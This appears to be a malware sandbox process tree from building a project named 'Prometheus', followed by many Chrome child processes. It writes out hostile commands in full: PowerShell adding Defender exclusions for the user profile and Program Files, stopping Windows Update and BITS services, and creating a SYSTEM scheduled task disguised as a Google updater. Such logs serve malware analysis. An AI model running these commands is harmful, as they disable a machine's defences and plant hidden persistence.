C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 320 7128⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 320 7129⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 712 6728⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 712 6729⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 704 7088⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 704 7089⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 664 7088⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 664 7089⤵
-
-
-
-
-
-
C:\Windows\explorer.exeexplorer dist5⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5868 -s 2244⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\yntnomxcupkb.xml"2⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\yntnomxcupkb.xml"2⤵
- Creates scheduled task(s)
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\yntnomxcupkb.xml"2⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\yntnomxcupkb.xml"2⤵
- Creates scheduled task(s)
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Drops file in Program Files directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xdc,0x100,0x124,0xd8,0x128,0x7ffe409bab58,0x7ffe409bab68,0x7ffe409bab783⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1852 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2232 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3000 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3268 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4276 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4408 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4404 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4488 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4880 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe"C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe" --reenable-autoupdates --system-level3⤵
-
C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe"C:\Program Files\Google\Chrome\Application\110.0.5481.104\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x234,0x238,0x23c,0x210,0x240,0x7ff7d210ae48,0x7ff7d210ae58,0x7ff7d210ae684⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4808 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4356 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=3108 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=3440 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3116 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:83⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=3428 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=5104 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=4336 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=4612 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=4636 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
- Drops file in Program Files directory
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=4616 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=4660 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=4024 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=5152 --field-trial-handle=1868,i,3029470010405764644,544264053205550760,131072 /prefetch:13⤵
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /42⤵
- Checks SCSI registry key(s)
- Suspicious behavior: GetForegroundWindowSpam
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x120,0x124,0x128,0x11c,0xe4,0x7ffe409bab58,0x7ffe409bab68,0x7ffe409bab783⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1688 --field-trial-handle=1980,i,18299371510804266138,11541961795825502447,131072 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1980,i,18299371510804266138,11541961795825502447,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2312 --field-trial-handle=1980,i,18299371510804266138,11541961795825502447,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3084 --field-trial-handle=1980,i,18299371510804266138,11541961795825502447,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3092 --field-trial-handle=1980,i,18299371510804266138,11541961795825502447,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4260 --field-trial-handle=1980,i,18299371510804266138,11541961795825502447,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4152 --field-trial-handle=1980,i,18299371510804266138,11541961795825502447,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4600 --field-trial-handle=1980,i,18299371510804266138,11541961795825502447,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4264 --field-trial-handle=1980,i,18299371510804266138,11541961795825502447,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4244 --field-trial-handle=1980,i,18299371510804266138,11541961795825502447,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4200 --field-trial-handle=1980,i,18299371510804266138,11541961795825502447,131072 /prefetch:83⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe409bab58,0x7ffe409bab68,0x7ffe409bab783⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1784 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2240 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3044 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3052 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4316 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4568 --field-trial-handle=1932,i,14311642593558824169,16642683645514294115,131072 /prefetch:83⤵
-
-
